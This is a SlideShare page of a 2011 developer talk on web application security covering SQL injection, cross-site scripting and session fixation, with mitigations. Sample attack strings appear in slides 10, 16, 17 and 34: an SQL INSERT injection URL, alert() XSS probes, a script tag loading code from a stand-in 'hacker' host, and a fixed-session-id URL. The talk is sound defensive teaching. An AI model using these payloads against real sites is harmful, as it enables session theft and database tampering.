SlideShare a Scribd company logo
Are you feeling secure – notes from the trenches Paul Lemon  @anthonylime http://joind.in/3603
Introduction -  I am a web developer and have been for 13 years - Former sound engineer to the obscure and poor - Technical Director at MadeByPi - I love what I do  PHP / Java / Actionscript / Javascript / C# Wear a mean hairnet About me
“ The problem of insecure software is perhaps the most important technical challenge of our time.”  –  OWASP Testing Guide Introduction. Photo courtesy http://www.flickr.com/photos/katescars/
Introduction - Notes based on personal professional experience Over 20+ third party tests on our applications Development orientated Simple code examples – not production code. This presentation
Introduction Open Web Application Security Project Best resource for developers / analysts / testers https://www.owasp.org / OWASP
Introduction SQL Injection  Cross-Site Scripting (XSS)  Broken Authentication and Session Management  Insecure Direct Object References  Cross-Site Request Forgery (CSRF)  Security Misconfiguration  Insecure Cryptographic Storage  Failure to Restrict URL Access  Insufficient Transport Layer Protection  Unvalidated Redirects and Forwards  OWASP Top 10
Introduction SQL Injection  Cross-Site Scripting (XSS)  Broken Authentication and Session Management  Insecure Direct Object References  Cross-Site Request Forgery (CSRF)  Security Misconfiguration  Insecure Cryptographic Storage  Failure to Restrict URL Access  Insufficient Transport Layer Protection  Unvalidated Redirects and Forwards  OWASP Top 10
SQL Injection http://www.flickr.com/photos/andresrueda/2983149263/
Injection http://xkcd.com/327/
Injection http://someserver/script.php?id=1;INSERT INTO members ('email','passwd','login_id','full_name')VALUES ('paul.lemon@gmail.com','hello',‘paul',’Paul Lemon'); Sample Code
Injection Confidential data can be disclosed The results of the query may not visible in the HTML  Trial and error to iterate data in tables Execute long running queries Test for errors in page execution Vulnerable to inserts / updates / defacement How is it exploited
Injection Validation and Parameterised Query
Injection -  Validate all input.  Use PDO to create parameterised queries or Use a ORM or Database Library (not your own!) Set up your database permissions. Don’t expose your queries (logging etc) Code review Don’t be complacent How to prevent
Injection Validation is not just for the user’s benefit Cast to correct type i.e. intval / floatval / boolean Whitelist Input ranges  - Reasonable minimums and maximums - Whitelist with regular expression - Blacklist with regular expression - Validate Email / Urls  - Don’t rely on your model layer A quick note about validation
XSS http://www.flickr.com/photos/andresrueda/2983149263/
XSS http://someserver/script.php?name=<script>alert();</script> or http://bit.ly/lYMcHjkj Sample XSS
XSS http:// host/script.php?name=<script src='http://hacker/script.js' /> Sample XSS
XSS Potential Exploits -  Theft of session cookies - Insertion of content / forms etc - Redirection to malicious sites - Insertion of trojan downloads / keyloggers etc.
XSS Varieties of XSS  Persistent - data is stored in the database Nonpersistent - injected code is present in the URL/Request DOM Based - javascript executed in the page reads the request
XSS Trusted Not Trusted Posted Form Querystring Url Cookies HTTP Headers Web application Browser
XSS – Trust zones Trusted Not Trusted API Use HTTPS Treat as user input Web application
XSS – Trust zones Trusted Not Trusted Database Database may have been compromised Validation may have failed Escape all output Web application
XSS – Trust zones Trusted Not Trusted API Database Web application Browser
XSS – Trust zones Trusted Not Trusted API Database Your application should be modular too Web application Browser
XSS Escape all output ENT_QUOTES option is important – double and single quotes Page encoding is important If you need HTML output use HTML Purifier
XSS Escape all output – context is important
XSS ?name=<script>alert(&quot;hello&quot;);</script>& link=javascript:alert('hello') Escape all output – context is important
XSS ?name=<script>alert(&quot;hello&quot;);</script>& link=javascript:alert('hello') Escape all output – context is important
XSS
XSS Check your templating engine for XSS protection    (options in Symfony 1/  Twig for escaping by default) Context is important to the escaping used  - Image and Hyperlinks - Javascript blocks - CSS There is  not  a definitive solution for PHP https://www.owasp.org/index.php/ESAPI#tab=PHP    Preventing XSS
XSS Session cookie to use HTTPOnly in php.ini Or use PHP function  session_set_cookie_params Cookies set as HTTPOnly
Session Exploits
Session Exploits Session Fixation Man in the middle attacks Overview
Session Exploits Allowing the session id to be passed on the querystring Url is sent via email to potential victim visit this url to the site http://localhost/?sessionid=1234 Victim logs in and  this is attached to the session id Sender uses the original session id and gains access http://localhost/viewprofile?sessionid=1234 Session Fixation
Session Exploits Do not allow session id to be passed on the querystring Session Fixation – How to prevent
Session Exploits Where the attacker has access to the machine - First user notes down the session id on the computer - Second user logs in and this is attached to the session id - First user uses the original session id and gains access Session Fixation
Session Exploits Roll the session id when a user logs in You can change the session id more frequently… Session Fixation – How to prevent
Session Exploits Man in the middle attacks User logs in… Session Id - Cookie HTTP POST Web application Username / Password
Session Exploits Man in the middle attacks User logs in… Session Id - Cookie HTTP POST Ahoy! Web application Username / Password
Session Exploits Man in the middle attacks Username / Password User logs in… Session Id - Cookie HTTP S  POST Web application
Session Exploits - Login and authentication must always be over HTTPS Passwords are personal and confidential Users are not disciplined (Store your passwords securely SHA1 / Salt ) Man in the middle attacks
Session Exploits Man in the middle attacks User visits a non-secure page Resource downloaded HTTP GET Session Id - Cookie Web application Username / Password User logs in… Session Id - Cookie HTTP S  POST Web application
Session Exploits Man in the middle attacks User visits a non-secure page Resource downloaded HTTP GET Session Id - Cookie Web application Username / Password User logs in… Session Id - Cookie HTTP S  POST Web application
Session Exploits Authenticated session cookies should be delivered over SSL Use HTTPS only option on session cookie Use a separate domain if you can    e.g. https://admin.yoursite/ Use a separate path for your session cookie Man in the middle attacks
Session Exploits Man in the middle attacks
Session Exploits Man in the middle attacks
Session Exploits Man in the middle attacks User visits a non-secure page Resource downloaded HTTP GET Web application Username / Password User logs in… Session Id - Cookie HTTP S  POST Web application
Session Exploits Man in the middle attacks User visits a non-secure page Resource downloaded HTTP GET Curses! Web application Username / Password User logs in… Session Id - Cookie HTTP S  POST Web application
Session Exploits Man in the middle attacks Sometimes you cannot limit session to HTTPS Users can log in and see non-secure data in public pages There are still secure areas of the site Use two cookies Or make the user login again
Session Exploits Username / Password User logs in… Session Id – Cookie  SECURE HTTP S  POST Open Zone of Web application User visits a non-secure page Resource downloaded HTTP GET Session Id Extra Auth – Cookie  SECURE Web application
Session Exploits Username / Password User logs in… Session Id – Cookie  SECURE HTTP S  POST Secure Zone of Web application User visits a non-secure page Response HTTP S  GET/POST/PUT Session Id Extra Auth – Cookie  SECURE Extra Auth – Cookie Web application
XSRF
XSRF – Sorry no time
Conclusions
Conclusions Get someone else to do the work
Conclusions Use a framework. I like symfony. Use a well supported platform / CMS  Check their response to security issues If there is no solution – check again (and again) Get someone else to do the work
Conclusions - Expect there to be faults – test as much as you can. Expect there to be attacks – monitor your site Stay on top of your versions – PHP / MySQL etc Input validation is critical Code for quality / Unit tests / regression Code review Operate with least privilege Establish a build and deployment script Read OWASP Recommendations
XSS cheatlist:  http://ha.ckers.org/xss.html OWASP:  https://www.owasp.org/index.php/Main_Page   HTML Purifier:  http://htmlpurifier.org/ Context aware templates:  http://googleonlinesecurity.blogspot.com/2009/03/reducing-xss-by-way-of-automatic.html MadeByPi:  http://www.madebypi.co.uk Conclusions Resources
Are you feeling secure – notes from the trenches Paul Lemon  @anthonylime – paul.lemon@gmail.com http://joind.in/3603

More Related Content

What's hot (20)

PPTX
Make profit with UI-Redressing attacks.
n|u - The Open Security Community
 
PPTX
OWASP Khartoum Top 10 A3 - 6th meeting
OWASP Khartoum
 
PPT
Web Application Security: The Land that Information Security Forgot
Jeremiah Grossman
 
PDF
Wakanda and the top 5 security risks - JS.everyrwhere(2012) Europe
Alexandre Morgaut
 
PPT
Owasp Top 10 And Security Flaw Root Causes
Marco Morana
 
PPTX
Mutillidae and the OWASP Top 10 by Adrian Crenshaw aka Irongeek
Magno Logan
 
PDF
OWASP Secure Coding Practices - Quick Reference Guide
Ludovic Petit
 
PPT
4.Xss
phanleson
 
PPTX
Security Function
Samuel Soon
 
PPT
Filter Evasion: Houdini on the Wire
Rob Ragan
 
PPTX
Hack and Slash: Secure Coding
Prathan Phongthiproek
 
PPTX
Cross Site Scripting (XSS) Defense with Java
Jim Manico
 
PDF
XXE Exposed: SQLi, XSS, XXE and XEE against Web Services
Abraham Aranguren
 
PDF
Web Security 101
Brent Shaffer
 
PPTX
3. backup file artifacts - mazin ahmed
Rashid Khatmey
 
PPT
Static Analysis: The Art of Fighting without Fighting
Rob Ragan
 
PPT
Top Ten Tips For Tenacious Defense In Asp.Net
alsmola
 
PPTX
RSA Europe 2013 OWASP Training
Jim Manico
 
PDF
OAuth2 - The Swiss Army Framework
Brent Shaffer
 
PDF
4 andrii kudiurov - web application security 101
Ievgenii Katsan
 
Make profit with UI-Redressing attacks.
n|u - The Open Security Community
 
OWASP Khartoum Top 10 A3 - 6th meeting
OWASP Khartoum
 
Web Application Security: The Land that Information Security Forgot
Jeremiah Grossman
 
Wakanda and the top 5 security risks - JS.everyrwhere(2012) Europe
Alexandre Morgaut
 
Owasp Top 10 And Security Flaw Root Causes
Marco Morana
 
Mutillidae and the OWASP Top 10 by Adrian Crenshaw aka Irongeek
Magno Logan
 
OWASP Secure Coding Practices - Quick Reference Guide
Ludovic Petit
 
4.Xss
phanleson
 
Security Function
Samuel Soon
 
Filter Evasion: Houdini on the Wire
Rob Ragan
 
Hack and Slash: Secure Coding
Prathan Phongthiproek
 
Cross Site Scripting (XSS) Defense with Java
Jim Manico
 
XXE Exposed: SQLi, XSS, XXE and XEE against Web Services
Abraham Aranguren
 
Web Security 101
Brent Shaffer
 
3. backup file artifacts - mazin ahmed
Rashid Khatmey
 
Static Analysis: The Art of Fighting without Fighting
Rob Ragan
 
Top Ten Tips For Tenacious Defense In Asp.Net
alsmola
 
RSA Europe 2013 OWASP Training
Jim Manico
 
OAuth2 - The Swiss Army Framework
Brent Shaffer
 
4 andrii kudiurov - web application security 101
Ievgenii Katsan
 

Viewers also liked (19)

PPTX
"Ο μικρός αδελφός", Φ. Κουρουνάκης
Σταυριανάκη Νίκη
 
PPTX
Wittner partners in learning leslla 2011
lizwittner
 
PPTX
IQ Partners S.A.: Wyniki finansowe za III kwartał 2013
IQ Partners
 
PDF
3d3 Presentation
pionarch
 
PPT
Macabees nme dps analysis
jessiekeegan
 
PPTX
Top 10 tech tools
steveschawalder
 
PPTX
Location based marketing presentation for tag
Janet Whitehead
 
PPS
Huntingdon Fusion Techniques Pipestoppers™ Range
Clemenceretel
 
PPTX
My presentation
mariyasyd
 
DOCX
Harits wiguna materi softskill
Rietz Wiguna
 
PPTX
Thomas
mrspartridge205
 
PPT
Visits slayt
calkan
 
DOCX
Office tips and tricks
steveschawalder
 
PPT
Iceland Volcano
Learn Politics
 
PDF
Tourism Industry Association of the Yukon Conference
John Gunter
 
PPT
Group 1 hao_nv
khacthuong2008
 
PPTX
Media Music Video Pitch
mananvekaria
 
DOC
BelgianUSeconomy
bdeelen
 
PPTX
ARTES EN EL REINO UNIDO.
Cyntia Ocañas
 
"Ο μικρός αδελφός", Φ. Κουρουνάκης
Σταυριανάκη Νίκη
 
Wittner partners in learning leslla 2011
lizwittner
 
IQ Partners S.A.: Wyniki finansowe za III kwartał 2013
IQ Partners
 
3d3 Presentation
pionarch
 
Macabees nme dps analysis
jessiekeegan
 
Top 10 tech tools
steveschawalder
 
Location based marketing presentation for tag
Janet Whitehead
 
Huntingdon Fusion Techniques Pipestoppers™ Range
Clemenceretel
 
My presentation
mariyasyd
 
Harits wiguna materi softskill
Rietz Wiguna
 
Visits slayt
calkan
 
Office tips and tricks
steveschawalder
 
Iceland Volcano
Learn Politics
 
Tourism Industry Association of the Yukon Conference
John Gunter
 
Group 1 hao_nv
khacthuong2008
 
Media Music Video Pitch
mananvekaria
 
BelgianUSeconomy
bdeelen
 
ARTES EN EL REINO UNIDO.
Cyntia Ocañas
 
Ad

Similar to Phpnw security-20111009 (20)

PDF
Top 10 Web Application vulnerabilities
Terrance Medina
 
PPTX
Application and Website Security -- Fundamental Edition
Daniel Owens
 
PPT
Intro to Web Application Security
Rob Ragan
 
PPTX
Attacking Web Applications
Sasha Goldshtein
 
PPTX
Php security common 2011
10n Software, LLC
 
PPTX
OWASP top 10-2013
tmd800
 
PDF
Owasp top 10 2013
Edouard de Lansalut
 
PPT
Php & Web Security - PHPXperts 2009
mirahman
 
PDF
The top 10 security issues in web applications
Devnology
 
PPTX
Vulnerabilities in modern web applications
Niyas Nazar
 
ODP
Security In PHP Applications
Aditya Mooley
 
PDF
Become a Security Ninja
Paul Gilzow
 
PDF
Crash Course In Brain Surgery
morisson
 
PDF
Secure Coding BSSN Semarang Material.pdf
nanangAris1
 
PPT
Web Apps Security
Victor Bucutea
 
PPTX
ASP.NET security vulnerabilities
Aleksandar Bozinovski
 
PDF
Making Web Development "Secure By Default"
Duo Security
 
PPTX
Top web apps security vulnerabilities
Aleksandar Bozinovski
 
PDF
Problems with parameters b sides-msp
Mike Saunders
 
PDF
Evolution Of Web Security
Chris Shiflett
 
Top 10 Web Application vulnerabilities
Terrance Medina
 
Application and Website Security -- Fundamental Edition
Daniel Owens
 
Intro to Web Application Security
Rob Ragan
 
Attacking Web Applications
Sasha Goldshtein
 
Php security common 2011
10n Software, LLC
 
OWASP top 10-2013
tmd800
 
Owasp top 10 2013
Edouard de Lansalut
 
Php & Web Security - PHPXperts 2009
mirahman
 
The top 10 security issues in web applications
Devnology
 
Vulnerabilities in modern web applications
Niyas Nazar
 
Security In PHP Applications
Aditya Mooley
 
Become a Security Ninja
Paul Gilzow
 
Crash Course In Brain Surgery
morisson
 
Secure Coding BSSN Semarang Material.pdf
nanangAris1
 
Web Apps Security
Victor Bucutea
 
ASP.NET security vulnerabilities
Aleksandar Bozinovski
 
Making Web Development "Secure By Default"
Duo Security
 
Top web apps security vulnerabilities
Aleksandar Bozinovski
 
Problems with parameters b sides-msp
Mike Saunders
 
Evolution Of Web Security
Chris Shiflett
 
Ad

Recently uploaded (20)

PPTX
"Autonomy of LLM Agents: Current State and Future Prospects", Oles` Petriv
Fwdays
 
PDF
The Rise of AI and IoT in Mobile App Tech.pdf
IMG Global Infotech
 
PDF
Exolore The Essential AI Tools in 2025.pdf
Srinivasan M
 
PDF
Fl Studio 24.2.2 Build 4597 Crack for Windows Free Download 2025
faizk77g
 
PPTX
Q2 FY26 Tableau User Group Leader Quarterly Call
lward7
 
PDF
CIFDAQ Weekly Market Wrap for 11th July 2025
CIFDAQ
 
PDF
Empower Inclusion Through Accessible Java Applications
Ana-Maria Mihalceanu
 
PDF
HCIP-Data Center Facility Deployment V2.0 Training Material (Without Remarks ...
mcastillo49
 
PPTX
Webinar: Introduction to LF Energy EVerest
DanBrown980551
 
PDF
IoT-Powered Industrial Transformation – Smart Manufacturing to Connected Heal...
Rejig Digital
 
PPTX
From Sci-Fi to Reality: Exploring AI Evolution
Svetlana Meissner
 
PDF
CIFDAQ Market Wrap for the week of 4th July 2025
CIFDAQ
 
PPTX
AI Penetration Testing Essentials: A Cybersecurity Guide for 2025
defencerabbit Team
 
PDF
CIFDAQ Token Spotlight for 9th July 2025
CIFDAQ
 
PDF
LLMs.txt: Easily Control How AI Crawls Your Site
Keploy
 
PPTX
COMPARISON OF RASTER ANALYSIS TOOLS OF QGIS AND ARCGIS
Sharanya Sarkar
 
PDF
Newgen 2022-Forrester Newgen TEI_13 05 2022-The-Total-Economic-Impact-Newgen-...
darshakparmar
 
PPTX
OpenID AuthZEN - Analyst Briefing July 2025
David Brossard
 
PDF
Achieving Consistent and Reliable AI Code Generation - Medusa AI
medusaaico
 
PDF
Smart Trailers 2025 Update with History and Overview
Paul Menig
 
"Autonomy of LLM Agents: Current State and Future Prospects", Oles` Petriv
Fwdays
 
The Rise of AI and IoT in Mobile App Tech.pdf
IMG Global Infotech
 
Exolore The Essential AI Tools in 2025.pdf
Srinivasan M
 
Fl Studio 24.2.2 Build 4597 Crack for Windows Free Download 2025
faizk77g
 
Q2 FY26 Tableau User Group Leader Quarterly Call
lward7
 
CIFDAQ Weekly Market Wrap for 11th July 2025
CIFDAQ
 
Empower Inclusion Through Accessible Java Applications
Ana-Maria Mihalceanu
 
HCIP-Data Center Facility Deployment V2.0 Training Material (Without Remarks ...
mcastillo49
 
Webinar: Introduction to LF Energy EVerest
DanBrown980551
 
IoT-Powered Industrial Transformation – Smart Manufacturing to Connected Heal...
Rejig Digital
 
From Sci-Fi to Reality: Exploring AI Evolution
Svetlana Meissner
 
CIFDAQ Market Wrap for the week of 4th July 2025
CIFDAQ
 
AI Penetration Testing Essentials: A Cybersecurity Guide for 2025
defencerabbit Team
 
CIFDAQ Token Spotlight for 9th July 2025
CIFDAQ
 
LLMs.txt: Easily Control How AI Crawls Your Site
Keploy
 
COMPARISON OF RASTER ANALYSIS TOOLS OF QGIS AND ARCGIS
Sharanya Sarkar
 
Newgen 2022-Forrester Newgen TEI_13 05 2022-The-Total-Economic-Impact-Newgen-...
darshakparmar
 
OpenID AuthZEN - Analyst Briefing July 2025
David Brossard
 
Achieving Consistent and Reliable AI Code Generation - Medusa AI
medusaaico
 
Smart Trailers 2025 Update with History and Overview
Paul Menig
 

Phpnw security-20111009

  • 1. Are you feeling secure – notes from the trenches Paul Lemon @anthonylime http://joind.in/3603
  • 2. Introduction - I am a web developer and have been for 13 years - Former sound engineer to the obscure and poor - Technical Director at MadeByPi - I love what I do PHP / Java / Actionscript / Javascript / C# Wear a mean hairnet About me
  • 3. “ The problem of insecure software is perhaps the most important technical challenge of our time.” – OWASP Testing Guide Introduction. Photo courtesy http://www.flickr.com/photos/katescars/
  • 4. Introduction - Notes based on personal professional experience Over 20+ third party tests on our applications Development orientated Simple code examples – not production code. This presentation
  • 5. Introduction Open Web Application Security Project Best resource for developers / analysts / testers https://www.owasp.org / OWASP
  • 6. Introduction SQL Injection Cross-Site Scripting (XSS) Broken Authentication and Session Management Insecure Direct Object References Cross-Site Request Forgery (CSRF) Security Misconfiguration Insecure Cryptographic Storage Failure to Restrict URL Access Insufficient Transport Layer Protection Unvalidated Redirects and Forwards OWASP Top 10
  • 7. Introduction SQL Injection Cross-Site Scripting (XSS) Broken Authentication and Session Management Insecure Direct Object References Cross-Site Request Forgery (CSRF) Security Misconfiguration Insecure Cryptographic Storage Failure to Restrict URL Access Insufficient Transport Layer Protection Unvalidated Redirects and Forwards OWASP Top 10
  • 10. Injection http://someserver/script.php?id=1;INSERT INTO members ('email','passwd','login_id','full_name')VALUES ('[email protected]','hello',‘paul',’Paul Lemon'); Sample Code
  • 11. Injection Confidential data can be disclosed The results of the query may not visible in the HTML Trial and error to iterate data in tables Execute long running queries Test for errors in page execution Vulnerable to inserts / updates / defacement How is it exploited
  • 12. Injection Validation and Parameterised Query
  • 13. Injection - Validate all input. Use PDO to create parameterised queries or Use a ORM or Database Library (not your own!) Set up your database permissions. Don’t expose your queries (logging etc) Code review Don’t be complacent How to prevent
  • 14. Injection Validation is not just for the user’s benefit Cast to correct type i.e. intval / floatval / boolean Whitelist Input ranges - Reasonable minimums and maximums - Whitelist with regular expression - Blacklist with regular expression - Validate Email / Urls - Don’t rely on your model layer A quick note about validation
  • 16. XSS http://someserver/script.php?name=<script>alert();</script> or http://bit.ly/lYMcHjkj Sample XSS
  • 17. XSS http:// host/script.php?name=<script src='http://hacker/script.js' /> Sample XSS
  • 18. XSS Potential Exploits - Theft of session cookies - Insertion of content / forms etc - Redirection to malicious sites - Insertion of trojan downloads / keyloggers etc.
  • 19. XSS Varieties of XSS Persistent - data is stored in the database Nonpersistent - injected code is present in the URL/Request DOM Based - javascript executed in the page reads the request
  • 20. XSS Trusted Not Trusted Posted Form Querystring Url Cookies HTTP Headers Web application Browser
  • 21. XSS – Trust zones Trusted Not Trusted API Use HTTPS Treat as user input Web application
  • 22. XSS – Trust zones Trusted Not Trusted Database Database may have been compromised Validation may have failed Escape all output Web application
  • 23. XSS – Trust zones Trusted Not Trusted API Database Web application Browser
  • 24. XSS – Trust zones Trusted Not Trusted API Database Your application should be modular too Web application Browser
  • 25. XSS Escape all output ENT_QUOTES option is important – double and single quotes Page encoding is important If you need HTML output use HTML Purifier
  • 26. XSS Escape all output – context is important
  • 29. XSS
  • 30. XSS Check your templating engine for XSS protection (options in Symfony 1/ Twig for escaping by default) Context is important to the escaping used - Image and Hyperlinks - Javascript blocks - CSS There is not a definitive solution for PHP https://www.owasp.org/index.php/ESAPI#tab=PHP  Preventing XSS
  • 31. XSS Session cookie to use HTTPOnly in php.ini Or use PHP function session_set_cookie_params Cookies set as HTTPOnly
  • 33. Session Exploits Session Fixation Man in the middle attacks Overview
  • 34. Session Exploits Allowing the session id to be passed on the querystring Url is sent via email to potential victim visit this url to the site http://localhost/?sessionid=1234 Victim logs in and this is attached to the session id Sender uses the original session id and gains access http://localhost/viewprofile?sessionid=1234 Session Fixation
  • 35. Session Exploits Do not allow session id to be passed on the querystring Session Fixation – How to prevent
  • 36. Session Exploits Where the attacker has access to the machine - First user notes down the session id on the computer - Second user logs in and this is attached to the session id - First user uses the original session id and gains access Session Fixation
  • 37. Session Exploits Roll the session id when a user logs in You can change the session id more frequently… Session Fixation – How to prevent
  • 38. Session Exploits Man in the middle attacks User logs in… Session Id - Cookie HTTP POST Web application Username / Password
  • 39. Session Exploits Man in the middle attacks User logs in… Session Id - Cookie HTTP POST Ahoy! Web application Username / Password
  • 40. Session Exploits Man in the middle attacks Username / Password User logs in… Session Id - Cookie HTTP S POST Web application
  • 41. Session Exploits - Login and authentication must always be over HTTPS Passwords are personal and confidential Users are not disciplined (Store your passwords securely SHA1 / Salt ) Man in the middle attacks
  • 42. Session Exploits Man in the middle attacks User visits a non-secure page Resource downloaded HTTP GET Session Id - Cookie Web application Username / Password User logs in… Session Id - Cookie HTTP S POST Web application
  • 43. Session Exploits Man in the middle attacks User visits a non-secure page Resource downloaded HTTP GET Session Id - Cookie Web application Username / Password User logs in… Session Id - Cookie HTTP S POST Web application
  • 44. Session Exploits Authenticated session cookies should be delivered over SSL Use HTTPS only option on session cookie Use a separate domain if you can e.g. https://admin.yoursite/ Use a separate path for your session cookie Man in the middle attacks
  • 45. Session Exploits Man in the middle attacks
  • 46. Session Exploits Man in the middle attacks
  • 47. Session Exploits Man in the middle attacks User visits a non-secure page Resource downloaded HTTP GET Web application Username / Password User logs in… Session Id - Cookie HTTP S POST Web application
  • 48. Session Exploits Man in the middle attacks User visits a non-secure page Resource downloaded HTTP GET Curses! Web application Username / Password User logs in… Session Id - Cookie HTTP S POST Web application
  • 49. Session Exploits Man in the middle attacks Sometimes you cannot limit session to HTTPS Users can log in and see non-secure data in public pages There are still secure areas of the site Use two cookies Or make the user login again
  • 50. Session Exploits Username / Password User logs in… Session Id – Cookie SECURE HTTP S POST Open Zone of Web application User visits a non-secure page Resource downloaded HTTP GET Session Id Extra Auth – Cookie SECURE Web application
  • 51. Session Exploits Username / Password User logs in… Session Id – Cookie SECURE HTTP S POST Secure Zone of Web application User visits a non-secure page Response HTTP S GET/POST/PUT Session Id Extra Auth – Cookie SECURE Extra Auth – Cookie Web application
  • 52. XSRF
  • 53. XSRF – Sorry no time
  • 55. Conclusions Get someone else to do the work
  • 56. Conclusions Use a framework. I like symfony. Use a well supported platform / CMS Check their response to security issues If there is no solution – check again (and again) Get someone else to do the work
  • 57. Conclusions - Expect there to be faults – test as much as you can. Expect there to be attacks – monitor your site Stay on top of your versions – PHP / MySQL etc Input validation is critical Code for quality / Unit tests / regression Code review Operate with least privilege Establish a build and deployment script Read OWASP Recommendations
  • 58. XSS cheatlist: http://ha.ckers.org/xss.html OWASP: https://www.owasp.org/index.php/Main_Page HTML Purifier: http://htmlpurifier.org/ Context aware templates: http://googleonlinesecurity.blogspot.com/2009/03/reducing-xss-by-way-of-automatic.html MadeByPi: http://www.madebypi.co.uk Conclusions Resources
  • 59. Are you feeling secure – notes from the trenches Paul Lemon @anthonylime – [email protected] http://joind.in/3603

Editor's Notes

  • #11: Still occurs in 2011 alone wikipedia lists 8 real world examples Sony Nokia’s Developer Site NetNames DNS records and changed entries redirecting users (of Betfair (Online Gambling), The Telegraph, The Register, The National Geographic, UPS, Acer, Vodafone.com)
  • #12: Still occurs in 2011 alone wikipedia lists 8 real world examples Sony Nokia’s Developer Site NetNames DNS records and changed entries redirecting users (of Betfair (Online Gambling), The Telegraph, The Register, The National Geographic, UPS, Acer, Vodafone.com)
  • #14: Still occurs in 2011 alone wikipedia lists 8 real world examples Sony Nokia’s Developer Site NetNames DNS records and changed entries redirecting users (of Betfair (Online Gambling), The Telegraph, The Register, The National Geographic, UPS, Acer, Vodafone.com)
  • #15: Still occurs in 2011 alone wikipedia lists 8 real world examples Sony Nokia’s Developer Site NetNames DNS records and changed entries redirecting users (of Betfair (Online Gambling), The Telegraph, The Register, The National Geographic, UPS, Acer, Vodafone.com)
  • #17: Still occurs in 2011 alone wikipedia lists 8 real world examples Sony Nokia’s Developer Site NetNames DNS records and changed entries redirecting users (of Betfair (Online Gambling), The Telegraph, The Register, The National Geographic, UPS, Acer, Vodafone.com)
  • #18: Still occurs in 2011 alone wikipedia lists 8 real world examples Sony Nokia’s Developer Site NetNames DNS records and changed entries redirecting users (of Betfair (Online Gambling), The Telegraph, The Register, The National Geographic, UPS, Acer, Vodafone.com)
  • #19: Still occurs in 2011 alone wikipedia lists 8 real world examples Sony Nokia’s Developer Site NetNames DNS records and changed entries redirecting users (of Betfair (Online Gambling), The Telegraph, The Register, The National Geographic, UPS, Acer, Vodafone.com)
  • #20: Still occurs in 2011 alone wikipedia lists 8 real world examples Sony Nokia’s Developer Site NetNames DNS records and changed entries redirecting users (of Betfair (Online Gambling), The Telegraph, The Register, The National Geographic, UPS, Acer, Vodafone.com)
  • #21: Still occurs in 2011 alone wikipedia lists 8 real world examples Sony Nokia’s Developer Site NetNames DNS records and changed entries redirecting users (of Betfair (Online Gambling), The Telegraph, The Register, The National Geographic, UPS, Acer, Vodafone.com)
  • #22: Still occurs in 2011 alone wikipedia lists 8 real world examples Sony Nokia’s Developer Site NetNames DNS records and changed entries redirecting users (of Betfair (Online Gambling), The Telegraph, The Register, The National Geographic, UPS, Acer, Vodafone.com)
  • #23: Still occurs in 2011 alone wikipedia lists 8 real world examples Sony Nokia’s Developer Site NetNames DNS records and changed entries redirecting users (of Betfair (Online Gambling), The Telegraph, The Register, The National Geographic, UPS, Acer, Vodafone.com)
  • #24: Still occurs in 2011 alone wikipedia lists 8 real world examples Sony Nokia’s Developer Site NetNames DNS records and changed entries redirecting users (of Betfair (Online Gambling), The Telegraph, The Register, The National Geographic, UPS, Acer, Vodafone.com)
  • #25: Still occurs in 2011 alone wikipedia lists 8 real world examples Sony Nokia’s Developer Site NetNames DNS records and changed entries redirecting users (of Betfair (Online Gambling), The Telegraph, The Register, The National Geographic, UPS, Acer, Vodafone.com)
  • #26: Still occurs in 2011 alone wikipedia lists 8 real world examples Sony Nokia’s Developer Site NetNames DNS records and changed entries redirecting users (of Betfair (Online Gambling), The Telegraph, The Register, The National Geographic, UPS, Acer, Vodafone.com)
  • #27: Still occurs in 2011 alone wikipedia lists 8 real world examples Sony Nokia’s Developer Site NetNames DNS records and changed entries redirecting users (of Betfair (Online Gambling), The Telegraph, The Register, The National Geographic, UPS, Acer, Vodafone.com)
  • #28: Still occurs in 2011 alone wikipedia lists 8 real world examples Sony Nokia’s Developer Site NetNames DNS records and changed entries redirecting users (of Betfair (Online Gambling), The Telegraph, The Register, The National Geographic, UPS, Acer, Vodafone.com)
  • #29: Still occurs in 2011 alone wikipedia lists 8 real world examples Sony Nokia’s Developer Site NetNames DNS records and changed entries redirecting users (of Betfair (Online Gambling), The Telegraph, The Register, The National Geographic, UPS, Acer, Vodafone.com)
  • #30: Still occurs in 2011 alone wikipedia lists 8 real world examples Sony Nokia’s Developer Site NetNames DNS records and changed entries redirecting users (of Betfair (Online Gambling), The Telegraph, The Register, The National Geographic, UPS, Acer, Vodafone.com)
  • #31: Still occurs in 2011 alone wikipedia lists 8 real world examples Sony Nokia’s Developer Site NetNames DNS records and changed entries redirecting users (of Betfair (Online Gambling), The Telegraph, The Register, The National Geographic, UPS, Acer, Vodafone.com)
  • #32: Still occurs in 2011 alone wikipedia lists 8 real world examples Sony Nokia’s Developer Site NetNames DNS records and changed entries redirecting users (of Betfair (Online Gambling), The Telegraph, The Register, The National Geographic, UPS, Acer, Vodafone.com)
